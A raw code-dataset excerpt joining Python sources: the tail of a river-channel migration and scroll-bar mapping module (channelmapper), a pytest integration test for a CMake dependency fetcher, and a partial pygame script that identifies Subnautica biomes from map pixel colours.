ch1.difference(ch2) # the (point) bars are the difference between ch1 and ch2\n    bar = bar.union(jump) # add gaps to bars\n    erosion = ch2.difference(ch1) # erosion is the difference between ch2 and ch1\n    bar_no_cutoff = list(bar.geoms) # create list of bars (cutoffs will be removed later)\n    erosion_no_cutoff = list(erosion.geoms) # create list of eroded areas (cutoffs will be removed later)\n    if type(jump)==MultiPolygon: # create list of gap polygons (if there is more than one gap)\n        jump_no_cutoff = list(jump.geoms)\n    else:\n        jump_no_cutoff = jump\n    cutoffs = []\n    for b in bar.geoms:\n        if b.area>cutoff_area:\n            bar_no_cutoff.remove(b) # remove cutoff from list of bars\n            for e in erosion.geoms: # remove 'fake' erosion related to cutoffs\n                if b.intersects(e): # if bar intersects erosional area\n                    if type(b.intersection(e))==MultiLineString:\n                        erosion_no_cutoff.remove(e)\n            # deal with gaps between channels:\n            if type(jump)==MultiPolygon:\n                for j in jump.geoms:\n                    if b.intersects(j):\n                        if (type(j.intersection(b))==Polygon) & (j.area>0.3*cutoff_area):\n                            jump_no_cutoff.remove(j) # remove cutoff-related gap from list of gaps\n                            cutoffs.append(b.symmetric_difference(b.intersection(j))) # collect cutoff\n            if type(jump)==Polygon:\n                if b.intersects(jump):\n                    if type(jump.intersection(b))==Polygon:\n                        jump_no_cutoff = []\n                        cutoffs.append(b.symmetric_difference(b.intersection(jump))) # collect cutoff\n    bar = MultiPolygon(bar_no_cutoff)\n    erosion = MultiPolygon(erosion_no_cutoff)\n    if type(jump_no_cutoff)==list:\n        jump = MultiPolygon(jump_no_cutoff)\n    ch1 = ch1.union(jump)\n    eps = 0.1 # this is needed to get rid of 'sliver geometries' - \n    ch1 = ch1.buffer(eps, 1, join_style=2).buffer(-eps, 1, join_style=2)\n    return ch1, bar, erosion, jump, cutoffs\n\ndef compute_s_coord(x,y):             \n    dx = np.diff(x); dy = np.diff(y)      \n    ds = np.sqrt(dx**2+dy**2)\n    s = np.hstack((0,np.cumsum(ds)))\n    return dx, dy, ds, s\n\n\ndef create_channel_segment_polygons(x, y, rbx, rby, lbx, lby, lbw, rbw, deltas, extra_width):\n    x1 = x.copy()\n    y1 = y.copy()\n    x2 = x.copy()\n    y2 = y.copy()\n    dx,dy,ds,s = compute_s_coord(x,y)\n\n    # x1,x2,y1,y2 are coordinates of points that are extra_width * deltas m beyond the channel banks on both sides:\n    x1[1:-1] = x[1:-1] - (lbw[1:-1]+extra_width)*(dy[1:]+dy[:-1])/deltas # left bank\n    y1[1:-1] = y[1:-1] + (lbw[1:-1]+extra_width)*(dx[1:]+dx[:-1])/deltas # left bank\n    x2[1:-1] = x[1:-1] + (rbw[1:-1]+extra_width)*(dy[1:]+dy[:-1])/deltas # right bank\n    y2[1:-1] = y[1:-1] - (rbw[1:-1]+extra_width)*(dx[1:]+dx[:-1])/deltas # right bank\n    x1[0] = x[0] - (lbw[0]+extra_width)*dy[0]/deltas      # first point\n    y1[0] = y[0] + (lbw[0]+extra_width)*dx[0]/deltas\n    x2[0] = x[0] + (rbw[0]+extra_width)*dy[0]/deltas\n    y2[0] = y[0] - (rbw[0]+extra_width)*dx[0]/deltas \n    x1[-1] = x[-1] - (lbw[-1]+extra_width)*dy[-1]/deltas  # last point\n    y1[-1] = y[-1] + (lbw[-1]+extra_width)*dx[-1]/deltas\n    x2[-1] = x[-1] + (rbw[-1]+extra_width)*dy[-1]/deltas\n    y2[-1] = y[-1] - (rbw[-1]+extra_width)*dx[-1]/deltas\n\n    polys = []\n    cline = LineString(np.vstack((x,y)).T) # create linestring from centerline\n    for i in trange(0,len(x1)-1):\n        # create polygon:\n        poly = Polygon(LinearRing([[x2[i],y2[i]],[x2[i+1],y2[i+1]],[x1[i+1],y1[i+1]],[x1[i],y1[i]]]))\n        if not poly.is_valid: # if there are no self-intersections, the polygon is already 'fixed'\n            fixed_polys = get_rid_of_self_intersections(poly) # otherwise remove self intersections\n            fixed_polys1 = [] # 'fixed_polys' is a generator, but we need a list\n            for fpoly in fixed_polys:\n                fixed_polys1.append(fpoly)\n            # select the polygon that intersects the centerline, get rid of the other one:\n            if (fixed_polys1[0].intersects(cline)) and (not fixed_polys1[1].intersects(cline)):\n                poly = fixed_polys1[0]\n            if (not fixed_polys1[0].intersects(cline)) and (fixed_polys1[1].intersects(cline)):       \n                poly = fixed_polys1[1]\n            # if both polygons intersect the centerline:\n            if (fixed_polys1[0].intersects(cline)) and (fixed_polys1[1].intersects(cline)):\n                if fixed_polys1[0].intersects(prev_poly):\n                    poly = fixed_polys1[0]\n                else:\n                    poly = fixed_polys1[1]\n    #             if fixed_polys1[0].area > fixed_polys1[1].area:\n    #                 poly = fixed_polys1[0]\n    #             else:\n    #                 poly = fixed_polys1[1]\n        prev_poly = poly # store current polygon\n        polys.append(poly)\n\n    # create channel polygon:\n    coords = []\n    xm = np.hstack((lbx,rbx[::-1]))\n    ym = np.hstack((lby,rby[::-1]))\n    for i in range(len(xm)):\n        coords.append((xm[i],ym[i]))\n    ch = Polygon(LinearRing(coords))\n\n    fig = plt.figure()\n    ax = fig.add_subplot(111)\n    ax.plot(x,y)\n    ax.plot(rbx,rby,'k')\n    ax.plot(lbx,lby,'k')\n    # plot all polygons:\n    for poly in polys:\n        ax.add_patch(PolygonPatch(poly,facecolor='none',edgecolor='k'))\n    plt.axis('equal')\n    return polys\n\ndef estimate_half_widths(x, y, rbx, lbx, rby, lby):\n    # do the corelation (this will take a few seconds):\n    pr,qr,smr = correlate_curves(x,rbx,y,rby)\n    pl,ql,sml = correlate_curves(x,lbx,y,lby)\n    pnr = np.delete(np.array(pr),np.where(np.diff(pr)==0)[0]+1)\n    qnr = np.delete(np.array(qr),np.where(np.diff(pr)==0)[0]+1)\n    pnl = np.delete(np.array(pl),np.where(np.diff(pl)==0)[0]+1)\n    qnl = np.delete(np.array(ql),np.where(np.diff(pl)==0)[0]+1)\n    # find left- and right-widths:\n    rbw = smr[pnr,qnr]\n    lbw = sml[pnl,qnl]\n    # rbw and lbw are flipped relative to the centerline, so they need to be inverted:\n    rbw = rbw[::-1]\n    lbw = lbw[::-1]\n    # plotting for QC:\n    plt.figure()\n    plt.plot(rbx,rby,'k')\n    plt.plot(lbx,lby,'k')\n    plt.plot(x,y,'r')\n    for i in range(len(pnr)):\n        plt.plot([x[pnr[i]], rbx[qnr[i]]], [y[pnr[i]], rby[qnr[i]]], 'b', linewidth = 0.5 )\n    for i in range(len(pnl)):\n        plt.plot([x[pnl[i]], lbx[qnl[i]]], [y[pnl[i]], lby[qnl[i]]], 'r', linewidth = 0.5 )\n    plt.axis('equal');\n    return rbw, lbw, pnr, qnr, pnl, qnl\n\ndef crop_polygons_to_channel_width(polys, ch):\n    cropped_polys = [] # list for polygons that are cropped to the actual channel width\n    for poly in tqdm(polys):\n        cropped_polys.append(poly.intersection(ch)) # cropping\n\n    # remove objects that are not polygons or multipolygons: \n    polys_to_be_removed = []\n    # ind = 0       \n    for poly in cropped_polys: \n        if (type(poly)!=Polygon) & (type(poly)!=MultiPolygon):\n            polys_to_be_removed.append(poly)\n        if poly.area<1.0:\n            polys_to_be_removed.append(poly) \n        # ind += 1\n    cropped_polys = [poly for poly in cropped_polys if poly not in polys_to_be_removed]\n\n\n    # remove unnecessary small bits that are in multipolygons:\n    for i in range(len(cropped_polys)):\n        if type(cropped_polys[i])==MultiPolygon:\n            polys_temp = list(cropped_polys[i])\n            if polys_temp[0].area>=polys_temp[1].area:\n                cropped_polys[i] = polys_temp[0]\n            else:\n                cropped_polys[i] = polys_temp[1]\n\n    # for poly in cropped_polys:\n    #     if poly.area<1.0:\n    #         cropped_polys.remove(poly)\n    return cropped_polys\n\ndef find_overlapping_polys(polys,crit_area):\n    \"\"\"function for finding overlapping polygons\"\"\"\n    inds = []\n    ind = 0\n    pbar = tqdm(total = len(polys)/5)\n    while ind<len(polys)-50: # look at 50 consecutive polygons at a time (otherwise it takes a long time)\n        for ind1,ind2 in itertools.combinations(np.arange(ind,ind+50), 2):\n            geom1 = polys[ind1]\n            geom2 = polys[ind2]\n            if geom1.intersection(geom2).area>crit_area:\n                inds.append(ind1)\n                inds.append(ind2)\n        ind = ind+5\n        pbar.update(1)\n    inds = np.array(inds)\n    inds = np.unique(inds)\n    return inds\n\ndef repolygonize_bend(cropped_polys, cropped_polys_new, i1, i2, pad, crit_dist, new_poly_inds, x, y):\n    \"\"\"function for generating new, non-overlapping polygons in sharp bends\n    inputs:\n    cropped_polys - list of polygons that describe the channel\n    cropped_polys_new - list of new polygons that do not overlap\n    i1 - index of starting point of segment with overlapping polygons\n    i2 - index of ending point of segment with overlapping polygons\n    pad - number of polygons you want the segment to be padded with\n    new_poly_inds - indices of fixed polygons\n    x - \n    y - \n    outputs:\n    bend - polygon that describes the fixed segment\n    x1 - new x coordinates of the (fixed) left bank\n    x2 - new x coordinates of the (fixed) right bank\n    y1 - new y coordinates of the (fixed) left bank\n    y2 - new y coordinates of the (fixed) right bank\n    \"\"\"\n    \n    # bend = cropped_polys[i1-pad] # start bend with first polygon\n    # count = 1\n    # for poly in cropped_polys[i1-pad+1:i2+pad]: # add all the polygons to the bend\n    #     bend = bend.union(poly)\n    #     count = count+1\n\n    bend = unary_union(cropped_polys[i1-pad:i2+pad])\n    count = len(cropped_polys[i1-pad:i2+pad])\n\n    eps = 0.1 # this is needed to get rid of 'sliver geometries' \n    bend = bend.buffer(eps, 1, join_style=2).buffer(-eps, 1, join_style=2)\n            \n    xbend = bend.exterior.xy[0] # x coordinates of polygon that describes the bend\n    ybend = bend.exterior.xy[1] # y coordinates of polygon that describes the bend\n    dx, dy, ds, s = compute_s_coord(xbend,ybend) # get distances between consecutive points\n    \n    if len(np.where(np.abs(ds)>crit_dist)[0])==2: # if 'xbend' starts at a 'corner' point of the bend\n        ind1,ind2 = np.where(np.abs(ds)>crit_dist)[0]\n    else: # if 'xbend' does not start at a 'corner' point of the bend\n        ind1,ind2,ind3 = np.where(np.abs(ds)>crit_dist)[0]   \n    # ind1, ind2 are the indices where 'xbend' and 'ybend' switch from one bank to the other\n\n    # coordinates of the right bank:\n    b1_rbx = np.hstack((xbend[ind2+1:],xbend[1:ind1+1]))\n    b1_rby = np.hstack((ybend[ind2+1:],ybend[1:ind1+1]))\n\n    # coordinates of the left bank:\n    b1_lbx = xbend[ind1+1:ind2+1]\n    b1_lby = ybend[ind1+1:ind2+1]\n\n    # resample left bank:\n    tck, u = scipy.interpolate.splprep([b1_lbx,b1_lby],s=1) # parametric spline representation of curve\n    unew = np.linspace(0,1,count+1) # vector for resampling\n    out = scipy.interpolate.splev(unew,tck) # resampling\n    b1_lbxs = out[0]\n    b1_lbys = out[1]\n\n    # resample right bank:\n    tck, u = scipy.interpolate.splprep([b1_rbx,b1_rby],s=1) # parametric spline representation of curve\n    unew = np.linspace(0,1,count+1) # vector for resampling\n    out = scipy.interpolate.splev(unew,tck) # resampling\n    b1_rbxs = out[0]\n    b1_rbys = out[1]\n\n    direction_flag = 0 # if direction of banks is same as that of flow\n    x1 = b1_lbxs\n    x2 = b1_rbxs[::-1]\n    y1 = b1_lbys\n    y2 = b1_rbys[::-1]\n    \n    dx1 = x1[-1]-x1[0]\n    dy1 = y1[-1]-y1[0]\n    dx = x[i2]-x[i1]\n    dy = y[i2]-y[i1]\n    \n    # if direction of banks is flipped relative to flow, the coordinate arrays need to be flipped:\n    if np.sign(dy1) != np.sign(dy):\n        direction_flag = 1\n        x1 = x1[::-1]\n        x2 = x2[::-1]\n        y1 = y1[::-1]\n        y2 = y2[::-1]\n\n    new_polys = [] # create new polygons for the bend\n    for i in range(0,len(b1_lbxs)-1):\n        if direction_flag == 0: # direction of banks is same as that of flow\n            poly = Polygon(LinearRing([[x1[i+1],y1[i+1]],[x2[i+1],y2[i+1]],[x2[i],y2[i]],[x1[i],y1[i]]]))\n        else: # direction of banks is flipped relative to flow\n            poly = Polygon(LinearRing([[x2[i+1],y2[i+1]],[x1[i+1],y1[i+1]],[x1[i],y1[i]],[x2[i],y2[i]]]))\n        new_polys.append(poly)\n\n    # plot bend and new bend polygons:\n    fig = plt.figure()\n    ax = fig.add_subplot(111)\n    for poly in cropped_polys[i1-pad+1:i2+pad]:\n        ax.add_patch(PolygonPatch(poly,facecolor='none',edgecolor='b'))\n    for poly in new_polys:\n        ax.add_patch(PolygonPatch(poly,facecolor='none',edgecolor='r'))\n    plt.axis('equal');\n    \n    plt.plot(xbend,ybend,'k.')\n    plt.plot(xbend[ind1],ybend[ind1],'ro')\n    plt.plot(xbend[ind2],ybend[ind2],'bo')\n    if len(np.where(np.abs(ds)>100)[0])>2:\n        plt.plot(xbend[ind3],ybend[ind3],'go')\n    \n    count = 0\n    for i in np.arange(i1-pad,i2+pad):\n        cropped_polys_new[i] = new_polys[i-(i1-pad)]\n        new_poly_inds.append(i)\n        count = count+1\n    \n    return bend, x1, x2, y1, y2\n\ndef simplify_polygon(poly, deltas):\n    x1 = np.array(poly.exterior.xy[0])\n    y1 = np.array(poly.exterior.xy[1])\n    dx, dy, ds, s = compute_s_coord(x1,y1)\n    ds_inds = np.where(ds>4*deltas)[0]\n    corner_inds = np.sort(np.hstack((ds_inds,ds_inds+1)))\n    x1 = x1[corner_inds]\n    y1 = y1[corner_inds]\n    dx, dy, ds, s = compute_s_coord(x1,y1)\n    while len(np.where(ds==0)[0])>0: # eliminate duplicate points\n        zero_ind = np.where(ds==0)[0][0]\n        x1 = np.hstack((x1[:zero_ind], x1[zero_ind+1:]))\n        y1 = np.hstack((y1[:zero_ind], y1[zero_ind+1:]))\n        dx, dy, ds, s = compute_s_coord(x1,y1)\n    poly = Polygon(LinearRing(np.vstack((x1,y1)).T))\n    return poly\n\ndef simplify_all_polygons(polys, deltas):\n    for i in range(len(polys)):\n        poly = polys[i]\n        if type(poly)==Polygon:\n            if len(poly.exterior.xy[0])>5: # if polygon has more than 4 points\n                polys[i] = simplify_polygon(poly, deltas=deltas)\n    return polys\n\ndef create_new_bank_coordinates(cropped_polys_new, x, y):\n    ds = [] # \n    for ind in range(len(cropped_polys_new)):\n        poly = cropped_polys_new[ind]\n        poly = orient(poly,sign=-1.0)\n        x1 = np.array(poly.exterior.xy[0])[0]\n        y1 = np.array(poly.exterior.xy[1])[0]\n        d = (x1-x[ind])*(y[ind+1]-y[ind])-(y1-y[ind])*(x[ind+1]-x[ind])\n        ds.append(d)\n    # create new x and y coordinate arrays for the banks\n    rbxn = []\n    rbyn = []\n    lbxn = []\n    lbyn = []\n    # start with first two points on first polygon:\n    poly = cropped_polys_new[0]\n    if ds[0]<0:\n        rbxn.append(poly.exterior.xy[0][3])\n        rbyn.append(poly.exterior.xy[1][3])\n        lbxn.append(poly.exterior.xy[0][2])\n        lbyn.append(poly.exterior.xy[1][2])\n    else:\n        rbxn.append(poly.exterior.xy[0][1])\n        rbyn.append(poly.exterior.xy[1][1])\n        lbxn.append(poly.exterior.xy[0][0])\n        lbyn.append(poly.exterior.xy[1][0])\n    # then add the rest:\n    for i in range(len(cropped_polys_new)):\n        poly = cropped_polys_new[i]\n        if type(poly)==Polygon:\n            poly = orient(poly,sign=-1.0)\n            if ds[i]<0:\n                rbxn.append(poly.exterior.xy[0][0])\n                rbyn.append(poly.exterior.xy[1][0])\n                lbxn.append(poly.exterior.xy[0][1])\n                lbyn.append(poly.exterior.xy[1][1])\n            else:\n                rbxn.append(poly.exterior.xy[0][2])\n                rbyn.append(poly.exterior.xy[1][2])\n                lbxn.append(poly.exterior.xy[0][3])\n                lbyn.append(poly.exterior.xy[1][3])\n    fig = plt.figure()\n    ax = fig.add_subplot(111)\n    plt.plot(x,y,'b.-')\n    for i in range(len(cropped_polys_new)):\n        if type(cropped_polys_new[i])==Polygon:\n            ax.add_patch(PolygonPatch(cropped_polys_new[i],facecolor='none',edgecolor='k'))\n    plt.plot(rbxn,rbyn,'.-')\n    plt.plot(lbxn,lbyn,'.-')\n    plt.axis('equal');\n    return rbxn, rbyn, lbxn, lbyn\n\ndef get_bti_polys(dates, dirname, ts1, ts2, deltas, W, kl):\n    # fw = 'fake width' needed to create wide channel segments\n    # read the centerline shapefiles for two timesteps\n    date1 = dates[ts1]\n    date2 = dates[ts2]\n    filename1 = dirname + 'cline_'+date1[:4]\n    filename2 = dirname + 'cline_'+date2[:4]\n    sf1 = shapefile.Reader(filename1).shapes()\n    cl1 = np.array(sf1[0].points)\n    sf2 = shapefile.Reader(filename2).shapes()\n    cl2 = np.array(sf2[0].points)\n    \n    x = cl1[:,0]\n    y = cl1[:,1]\n    xn = cl2[:,0]\n    yn = cl2[:,1]\n\n    curv, s = compute_curvature(x, y)\n    curv = savgol_filter(curv,71,3)\n\n    age1 = convert_string_to_date(date1)\n    age2 = convert_string_to_date(date2)\n    d = age2-age1\n    years = d.days/365.0\n    migr_rate, migr_sign, p, q = get_migr_rate(x, xn, y, yn, years)\n    migr_rate = medfilt(savgol_filter(migr_rate,51,3),kernel_size=5) \n\n    f = 0.5\n    filename = dirname + 'polys_'+date1[:4]\n    sf = shapefile.Reader(filename).shapes()\n    polys = []\n    for i in range(0,len(sf)):\n        poly = np.array(sf[i].points)\n        x0 = poly[0,0]; y0 = poly[0,1]; x1 = poly[1,0]; y1 = poly[1,1];\n        x2 = poly[2,0]; y2 = poly[2,1]; x3 = poly[3,0]; y3 = poly[3,1];\n        xa = (1+f)*x0 - f*x1\n        ya = (1+f)*y0 - f*y1\n        xb = (1+f)*x1 - f*x0\n        yb = (1+f)*y1 - f*y0\n        xc = (1+f)*x3 - f*x2\n        yc = (1+f)*y3 - f*y2\n        xd = (1+f)*x2 - f*x3\n        yd = (1+f)*y2 - f*y3\n        poly = Polygon(LinearRing([[xa,ya],[xb,yb],[xd,yd],[xc,yc]]))\n        polys.append(poly)\n\n    bti = W*curv*migr_rate/kl\n    return x, xn, y, yn, polys, bti, curv, migr_rate, s\n\nclass Bar:\n    def __init__(self,age,scrolls):\n        self.age = age\n        self.scrolls = scrolls\n    def plot(self,ax):\n        for scroll in self.scrolls:\n            ax.add_patch(ax.add_patch(PolygonPatch(scroll.polygon,edgecolor='k',facecolor=sns.xkcd_rgb[\"light gold\"])))\n        plt.axis('equal')\n    def plot_bti(self,ax,vmin,vmax,cmap,linewidth,edgecolor):\n        for scroll in self.scrolls:\n            scroll.plot_bti(ax,vmin,vmax,cmap,linewidth,edgecolor)\n    \nclass Scroll:\n    def __init__(self,polygon,age,bti_polys):\n        self.polygon = polygon\n        self.age = age\n        self.bti_polys = bti_polys\n        self.area = self.polygon.area\n    def plot(self,ax):\n        ax.add_patch(PolygonPatch(self.polygon,edgecolor='k',facecolor=sns.xkcd_rgb[\"light gold\"]))\n    def plot_bti(self,ax,vmin,vmax,cmap,linewidth,edgecolor):\n        norm = mpl.colors.Normalize(vmin=vmin,vmax=vmax)\n        m = mpl.cm.ScalarMappable(norm=norm, cmap=cmap)\n        for i in range(len(self.bti_polys)):\n            ax.add_patch(PolygonPatch(self.bti_polys[i].polygon,\n                    facecolor=m.to_rgba(self.bti_polys[i].bti),edgecolor=edgecolor,linewidth=linewidth))\n        \nclass BTI_poly:\n    def __init__(self,polygon,bti):\n        self.polygon = polygon\n        self.bti = bti\n        self.area = self.polygon.area\n        \ndef get_rid_of_self_intersections(poly):\n    ext = poly.exterior\n    mls = ext.intersection(ext)\n    polygons = polygonize(mls)\n    return polygons\n\ndef create_bti_polys(scroll,polys,bti):\n    sel_polys = [] # polygons that intersect the scroll of interest\n    btis = [] # bti values that go with the polygons of interest\n    for i in range(len(polys)):\n        if polys[i].intersects(scroll):\n            sel_polys.append(polys[i])\n            btis.append(bti[i+1])\n    # some polygons have self-intersections that need to be removed:\n    sel_polys_fixed = []\n    for poly in sel_polys:\n        if poly.is_valid: # if there are no self-intersections, the polygon is already 'fixed'\n            sel_polys_fixed.append(poly)\n        else: # if there are self-intersections:\n            fixed_polys = get_rid_of_self_intersections(poly)\n            fixed_polys1 = [] # 'fixed_polys' is a generator, but we need a list\n            for fpoly in fixed_polys:\n                fixed_polys1.append(fpoly)\n            # select the larger polygon:\n            if fixed_polys1[0].area>fixed_polys1[1].area:\n                sel_polys_fixed.append(fixed_polys1[0])\n            else:\n                sel_polys_fixed.append(fixed_polys1[1])\n    sel_polys = sel_polys_fixed\n    # now we are ready to clip the larger polygons in 'sel_polys' to the extent of the scroll:\n    bti_polys = []\n    for i in range(len(sel_polys)):\n        poly = scroll.intersection(sel_polys[i])\n        if type(poly)==Polygon:\n            bti_polys.append(poly)\n    return bti_polys, btis\n\ndef create_bar_hierarchy(bars, cutoffs, dates, all_polys, all_btis):\n    scrolls = [] # list of all scroll bar polygons\n    ages = []\n    areas = []\n    eroded_cutoffs = []\n    cutoff_ages = []\n    for i in range(len(bars)):\n        for j in range(len(bars[i])): # bars in time step i\n            # if bar does not intersect any of the cutoffs and is larger than 1 square meter:\n            if (not bars[i][j].intersects(MultiPolygon(cutoffs[i]))) & (bars[i][j].area>1.0):\n                scrolls.append(bars[i][j]) # append bar to list of scrolls\n                ages.append(dates[i+1]) # append age of bar to list of ages\n                areas.append(bars[i][j].area) # append area of bar to list of areas\n            # if bar intersects any of the cutoffs and is larger than 1 square meter:\n            elif (bars[i][j].intersects(MultiPolygon(cutoffs[i]))) & (bars[i][j].area>1.0):\n                eroded_cutoffs.append(bars[i][j]) # append 'bar' to list of eroded cutoffs \n                cutoff_ages.append(dates[i+1]) # append age of 'bar' to list of ages of eroded cutoffs\n    Bars = [] # list of bars\n    for i in trange(len(bars)):\n        age = dates[i+1]\n        inds = np.where(np.array(ages)==age)[0]\n        scroll_objects = []\n        scrolls_same_age = []\n        for ind in inds:\n            if scrolls[ind].area>1.0:\n                scrolls_same_age.append(scrolls[ind])\n        for scroll in scrolls_same_age:\n            bti_polys, btis = create_bti_polys(scroll, all_polys[i], all_btis[i])\n            bti_poly_objects = []\n            for j in range(len(bti_polys)):\n                bti_poly = BTI_poly(bti_polys[j], btis[j]) # create BTI_poly object\n                bti_poly_objects.append(bti_poly)\n            scroll_object = Scroll(scroll, age, bti_poly_objects) # create Scroll object\n            scroll_objects.append(scroll_object)\n        bar = Bar(age, scroll_objects) # create Bar object\n        Bars.append(bar) # add bar to the list of bars\n    bti_ages = []\n    bti_areas = []\n    bti_polys = []\n    bti_indices = []\n    for bar in Bars:\n        for scroll in bar.scrolls:\n            for bti_poly in scroll.bti_polys:\n                bti_ages.append(scroll.age)\n                bti_areas.append(bti_poly.area)\n                bti_polys.append(bti_poly.polygon)\n                bti_indices.append(bti_poly.bti)\n    return Bars, bti_ages, bti_areas, bti_polys, bti_indices\n\ndef plot_scroll_bars(bars, cutoffs, dates):\n    \"\"\"function for plotting scroll bars colored by age\n    :param bars:\n    :param cutoffs:\n    :param dates:\n    \"\"\"\n    fig = plt.figure()\n    ax = plt.subplot(111)\n    cmap = mpl.cm.get_cmap('viridis')\n    for i in trange(len(dates)-1):\n        color = cmap(i/float(len(dates)-1))\n        for b in bars[i]:\n            if MultiPolygon(cutoffs[i]).is_valid: # sometimes this is invalid\n                if not b.intersects(MultiPolygon(cutoffs[i])):\n                    ax.add_patch(PolygonPatch(b,facecolor=color,edgecolor='k'))\n            else:\n                ax.add_patch(PolygonPatch(b,facecolor=color,edgecolor='k'))\n    plt.axis('equal');\n    return fig\n\ndef plot_btis(Bars, lw = 0.1, vmin = -1, vmax = 1):\n    \"\"\"function for plotting bar type indices on a map\n\n    :param Bars: name of the well (usually this is the UWI)\n    :param lw: linewidth to be used when plotting BTI polygons (default is 0.1)\n    :param vmin: minimum value for BTI colormap (default is -1.0)\n    :param vmax: maximum value for BTI colormap (default is 1.0)\"\"\"\n\n    fig = plt.figure()\n    ax = fig.add_axes([0.05, 0.05, 0.9, 0.9]) # [left, bottom, width, height]\n    # ax = fig.add_subplot(111)\n    norm = mpl.colors.Normalize(vmin=vmin, vmax=vmax)\n    cmap = mpl.cm.RdBu_r\n    m = mpl.cm.ScalarMappable(norm=norm, cmap=cmap)\n    for Bar in tqdm(Bars):\n        for scroll in Bar.scrolls:\n            for bti_poly in scroll.bti_polys:\n                if bti_poly.polygon.area > 1.0:\n                    ax.add_patch(PolygonPatch(bti_poly.polygon, facecolor=m.to_rgba(bti_poly.bti), linewidth=lw))\n    divider = make_axes_locatable(ax)\n    cax = divider.append_axes('right', size='5%', pad=0.05)\n    fig.colorbar(mpl.cm.ScalarMappable(norm=norm, cmap=cmap), cax=cax, orientation='vertical', label='bar type index')\n    ax.plot(bti_poly.polygon.exterior.xy[0], bti_poly.polygon.exterior.xy[1], color = 'k', linewidth=lw)\n    ax.set_aspect('equal')\n    return fig","repo_name":"zsylvester/channelmapper","sub_path":"channelmapper.py","file_name":"channelmapper.py","file_ext":"py","file_size_in_byte":32345,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"3"}
+{"seq_id":"71979239441","text":"try:\n    from importlib.resources import path\n\nexcept ImportError:\n    from importlib_resources import path  # type: ignore\n\nimport pytest\nfrom path import Path\n\nfrom dependencmake.dependency_list import DependencyList\n\n\n@pytest.fixture\ndef temp_directory(tmp_path):\n    return Path(tmp_path)\n\n\n@pytest.fixture\ndef subdependencies_temp_directory(temp_directory):\n    with path(\"tests.resources.subdependencies\", \"dependencmake.yaml\") as config:\n        Path(config).copy(temp_directory)\n\n    fetch_directory = (temp_directory / \"dependencmake\" / \"fetch\").makedirs_p()\n    (fetch_directory / \"dep11_1d264692d45516dcae4a8f07a847d742\").mkdir_p()\n    (fetch_directory / \"dep12_fe8ba562a3f2c89af885e5036f465d4b\").mkdir_p()\n    dep1 = (fetch_directory / \"dep1_36e47005e2edb6e84fdb0e2e411bff5a\").mkdir_p()\n    (fetch_directory / \"dep21_d1efc308c741bb9421611de57b61aec2\").mkdir_p()\n    dep2 = (fetch_directory / \"dep2_4b35bd592421ea9170dfb690d7550744\").mkdir_p()\n\n    resource = \"tests.resources.subdependencies.dependencmake.fetch\"\n\n    with path(\n        f\"{resource}.dep1_36e47005e2edb6e84fdb0e2e411bff5a\",\n        \"dependencmake.yaml\",\n    ) as config:\n        Path(config).copy(dep1)\n\n    with path(\n        f\"{resource}.dep2_4b35bd592421ea9170dfb690d7550744\",\n        \"dependencmake.yaml\",\n    ) as config:\n        Path(config).copy(dep2)\n\n    return temp_directory\n\n\nclass TestDependencyList:\n    def test_create_subdependencies(self, subdependencies_temp_directory):\n        \"\"\"Create supdependencies.\"\"\"\n        with subdependencies_temp_directory:\n            dependency_list = DependencyList()\n            dependency_list.create_dependencies(subdependencies_temp_directory)\n            dependency_list.create_subdependencies()\n\n        assert len(dependency_list.dependencies) == 5\n        assert dependency_list.dependencies[0].name == \"Dep11\"\n        assert dependency_list.dependencies[1].name == \"Dep12\"\n        assert dependency_list.dependencies[2].name == \"Dep1\"\n        assert dependency_list.dependencies[3].name == \"Dep21\"\n        assert dependency_list.dependencies[4].name == \"Dep2\"\n\n    def test_fetch_subdependencies(self, mocker, subdependencies_temp_directory):\n        \"\"\"Fetch supdependencies.\"\"\"\n        mocker.patch(\"dependencmake.dependency.urlretrieve\")\n        mocker.patch(\"dependencmake.dependency.unpack_archive\")\n        mocked_get_project_data = mocker.patch(\n            \"dependencmake.dependency.get_project_data\"\n        )\n        mocked_get_project_data.return_value = {\"name\": \"Dep\", \"version\": \"1.0.0\"}\n\n        with subdependencies_temp_directory:\n            dependency_list = DependencyList()\n            dependency_list.create_dependencies(subdependencies_temp_directory)\n            dependency_list.create_subdependencies()\n            dependency_list.fetch()\n","repo_name":"pzehner/dependencmake","sub_path":"tests/test_dependency_list_integration.py","file_name":"test_dependency_list_integration.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1206863766","text":"import pygame\n\nmap_img = pygame.image.load(\"map.png\")\nmap_img = pygame.transform.scale(map_img, (480, 480))\n\npygame.display.set_caption(\"Subnautica Map Tracker\")\n\ndef rgb_to_biome(rgb):\n    if rgb == (117, 134, 142):\n        return \"Safe Shallows\"\n    elif rgb == (175, 225, 126):\n        return \"Kelp Forest\"\n    elif rgb == (202, 70, 101):\n        return \"Grassy Plateaus\"\n    elif rgb == (55, 79, 168):\n        return \"Mushroom Forest\"\n    elif rgb == (158, 144, 213):\n        return \"Bulb Zone\"\n    elif rgb == (184, 119, 93):\n        return \"Underwater Islands\"\n    elif rgb == (42, 49, 51):\n        return \"Mountains\"\n    elif rgb == (225, 82, 255):\n        return \"Northern Blood Kelp Zone\"\n    elif rgb == (246, 229, 169):\n        return \"Dunes\"\n    elif rgb == (126, 90, 90):\n        return \"Crash Zone\"\n    elif rgb == (123, 160, 188):\n        return \"Sea Treader's Path\"\n    elif rgb == (62, 100, 77):\n        return \"Sparse Reef\"\n    elif rgb == (90, 21, 0):\n        return \"Crag Field\"\n    elif rgb == (131, 59, 110):\n        return \"Blood Kelp Zone Trench\"\n    elif rgb == (70, 146, 187):\n        return \"Grand Reef\"\n    elif rgb == (0, 0, 0):\n        return \"Void\"\n    elif rgb == (0, 255, 0):\n        return rgb_to_biome(selected)\n    else:\n        return \"Unknown\"\n\nselected = None\n\npygame.init()\n\ndisplay = pygame.display.set_mode((480, 480))\n\nwhile True:\n    display.blit(map_img, (0, 0))\n\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            pygame.quit()\n            quit()\n        if event.type == pygame.MOUSEBUTTONDOWN:\n            color = display.get_at(pygame.mouse.get_pos())[:3]\n\n            print(f\"Biome: {rgb_to_biome(color)}\")\n\n            pixels = pygame.PixelArray(map_img)\n\n            if selected:\n                pixels.replace((0, 255, 0), selected)\n\n            pixels.replace(color, (0, 255, 0))\n            del pixels\n\n            selected = color\n\n    